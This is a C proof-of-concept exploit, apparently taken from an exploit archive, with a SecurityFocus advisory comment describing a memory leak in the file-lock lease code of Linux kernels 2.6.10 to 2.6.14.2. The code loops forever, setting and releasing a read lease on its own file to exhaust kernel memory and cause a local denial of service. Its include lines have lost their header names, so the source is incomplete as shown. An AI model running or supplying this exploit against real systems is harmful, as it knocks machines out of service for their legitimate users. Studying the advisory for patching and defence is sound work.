/* source: https://www.securityfocus.com/bid/15745/info Linux kernel is susceptible to a local denial-of-service vulnerability. This issue is triggered when excessive kernel memory is consumed by numerous file-lock leases. This problem stems from a memory leak in the kernel's file-lock lease code. This issue allows local attackers to consume excessive kernel memory, eventually leading to an out-of-memory condition and ultimately to a denial of service for legitimate users. Kernel versions from 2.6.10 through to 2.6.14.2 are vulnerable to this issue. */ #include #include #include int main(int ac, char **av) { char *fname = av[0]; int fd = open(fname, O_RDONLY); int r; while (1) { r = fcntl(fd, F_SETLEASE, F_RDLCK); if (r == -1) { perror("F_SETLEASE, F_RDLCK"); exit(1); } r = fcntl(fd, F_SETLEASE, F_UNLCK); if (r == -1) { perror("F_SETLEASE, F_UNLCK"); exit(1); } } return 0; }